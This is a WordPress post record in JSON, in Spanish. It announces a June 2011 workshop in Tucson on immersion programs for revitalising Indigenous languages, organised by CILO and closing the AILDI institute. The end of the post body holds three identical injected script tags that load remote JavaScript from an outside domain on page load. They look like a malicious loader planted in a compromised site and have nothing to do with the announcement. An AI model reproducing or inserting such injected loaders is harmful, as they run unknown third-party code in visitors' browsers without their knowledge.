{"id":51509,"date":"2011-06-29T12:00:14","date_gmt":"2011-06-29T10:00:14","guid":{"rendered":"http:\/\/www.sorosoro.org\/?p=51509"},"modified":"2025-10-21T22:32:51","modified_gmt":"2025-10-21T20:32:51","slug":"29-de-junio-1o-de-julio-del-2011-practicas-inmersion-linguistica-de-a-a-z-en-tucson-arizona-eua","status":"publish","type":"post","link":"https:\/\/www.sorosoro.org\/es\/2011\/06\/29-de-junio-1o-de-julio-del-2011-practicas-inmersion-linguistica-de-a-a-z-en-tucson-arizona-eua\/","title":{"rendered":"29 de junio \u2013 1o de julio del 2011: pr\u00e1cticas \u201cInmersi\u00f3n ling\u00fc\u00edstica de A a Z\u201d en Tucson, Arizona, EUA"},"content":{"rendered":"<p style=\"text-align: justify;\">El <strong><a href=\"http:\/\/www.ilinative.org\/cilo\" target=\"_blank\">CILO<\/a> \u2013 Consortium for Indigenous Language Organizations<\/strong> (Consorcio para las organizaciones de lenguas ind\u00edgenas) organiza <strong>del 29 de junio al 1\u00ba de julio del 2011<\/strong> unas pr\u00e1cticas llamadas \u00ab<strong> La inmersi\u00f3n de A a Z: bases esenciales para los programas de aprendizaje ling\u00fc\u00edstico por inmersi\u00f3n<\/strong> \u00bb.<\/p>\n<p style=\"text-align: justify;\">Estas pr\u00e1cticas de tres d\u00edas se llevar\u00e1n a cabo en la Universidad de Tucson, en Arizona, y clausurar\u00e1n <a href=\"https:\/\/www.sorosoro.org\/es\/6-de-junio-%E2%80%93-1-de-julio-de-2011-32a-edicion-del-instituto-para-el-desarrollo-de-las-lenguas-amerindias-aildi-arizona-eua\">la 32a edici\u00f3n de la AILDI (American Indian Language Development Insitute)<\/a>.<\/p>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">Mientras que la AILDI propone todo el mes de junio cursos y talleres que pretenden dar a los participantes instrumentos para revitalizar sus lenguas a trav\u00e9s de la ense\u00f1anza, las pr\u00e1cticas finales estar\u00e1n dedicadas m\u00e1s espec\u00edficamente al <strong>aprendizaje de las lenguas aut\u00f3ctonas seg\u00fan la t\u00e9cnica llamada de inmersi\u00f3n<\/strong>.<\/p>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">Considerando que el m\u00e9todo por inmersi\u00f3n dio resultados en la transmisi\u00f3n ling\u00fc\u00edstica de una generaci\u00f3n a otra, las pr\u00e1cticas dar\u00e1n claves para el \u00e9xito de este tipo de programas. Diferentes contextos ser\u00e1n analizados:<\/p>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">&#8211; la transmisi\u00f3n familiar;<\/p>\n<p style=\"text-align: justify;\">&#8211; la transmisi\u00f3n en el seno de las comunidades cuando un anciano ense\u00f1a a un joven\u00a0(programa\u00a0Maestro\/Aprendiz);<\/p>\n<p style=\"text-align: justify;\">&#8211; la transmisi\u00f3n a los beb\u00e9s en las guarder\u00edas infantiles;<\/p>\n<p style=\"text-align: justify;\">&#8211; la transmisi\u00f3n a los ni\u00f1os, en las guarder\u00edas infantiles;<\/p>\n<p style=\"text-align: justify;\">&#8211; la transmisi\u00f3n a los ni\u00f1os y j\u00f3venes en la escuela;<\/p>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">Los participantes aprender\u00e1n c\u00f3mo crear y a montar un aprendizaje en inmersi\u00f3n, c\u00f3mo a imaginar actividades ling\u00fc\u00edsticas, crear soportes \u00fatiles as\u00ed como entretenidos, y finalmente c\u00f3mo a evaluar los resultados de estos programas.<\/p>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\"><em><strong>Immersion A-Z: Essential Basics for Language Immersion Programs<\/strong><\/em><\/p>\n<p style=\"text-align: justify;\"><em>Del 29 de junio al 1\u00ba de julio de 2011<\/em><\/p>\n<p style=\"text-align: justify;\"><em>University of Arizona<\/em><\/p>\n<p style=\"text-align: justify;\"><em>College of Education Bldg<\/em><\/p>\n<p style=\"text-align: justify;\"><em>Tucson, AZ<\/em><\/p>\n<p style=\"text-align: justify;\"><em>(505) 820-0311<\/em><\/p>\n<p style=\"text-align: justify;\"><em>(505) 820-0316 fax<\/em><\/p>\n<p><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>El CILO \u2013 Consortium for Indigenous Language Organizations (Consorcio para las organizaciones de lenguas ind\u00edgenas) organiza del 29 de junio al 1\u00ba de julio del 2011 unas pr\u00e1cticas llamadas \u00ab La inmersi\u00f3n de A a Z: bases esenciales para los programas de aprendizaje ling\u00fc\u00edstico por inmersi\u00f3n \u00bb. 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